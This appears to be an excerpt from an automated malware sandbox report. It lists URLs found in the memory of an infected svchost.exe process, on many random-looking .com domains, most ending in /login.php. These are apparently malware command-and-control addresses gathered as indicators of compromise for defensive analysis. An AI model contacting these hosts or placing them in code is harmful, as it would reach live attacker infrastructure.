Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2156423614.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396823285.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396706488.00000000086F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2155150601.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397272204.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2395827509.00000000086EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2394995795.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2167507417.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2152199201.000000000338F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267140420.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofymik.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyqit.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665740291.00000000087FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671484952.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyzof.com/login.php
Source: svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vofyzym.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojybef.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272828863.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513891995.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2501199142.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272537462.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2264150395.00000000086FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272290978.00000000086FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2267838094.0000000003391000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2283080934.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2508227965.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2273007343.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojybek.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671936852.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojycec.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojycif.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2391261344.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003347000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384104652.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojydoc.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202728385.0000000008644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2272090324.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojygut.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329748670.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyjyc.com/login.php
Source: svchost.exe, 00000002.00000003.2321460609.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320047859.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321538396.0000000003393000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojykom.com/
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojykom.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402132488.0000000008646000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojymic.com/login.php
Source: svchost.exe, 00000002.00000003.2709443016.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670655678.00000000033AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2673206249.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2671925473.00000000033AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojypat.com/H
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350325354.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349262173.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2787365873.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738516422.00000000086F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojypat.com/login.php
Source: svchost.exe, 00000002.00000003.2763334143.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403450959.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3265760525.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298703099.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojypuc.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyquf.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyrak.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307697997.0000000003394000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2301364243.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyzyt.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296732942.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296776136.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298813609.0000000008682000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296803931.00000000086F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volybec.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volybut.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volycem.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2298951843.00000000086D4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2307945417.0000000008615000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302834749.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2320123040.0000000008611000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volycik.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296732942.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548645821.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2295479426.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296451736.0000000008702000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volydot.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2800821291.00000000033D9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volygyt.com/login.php
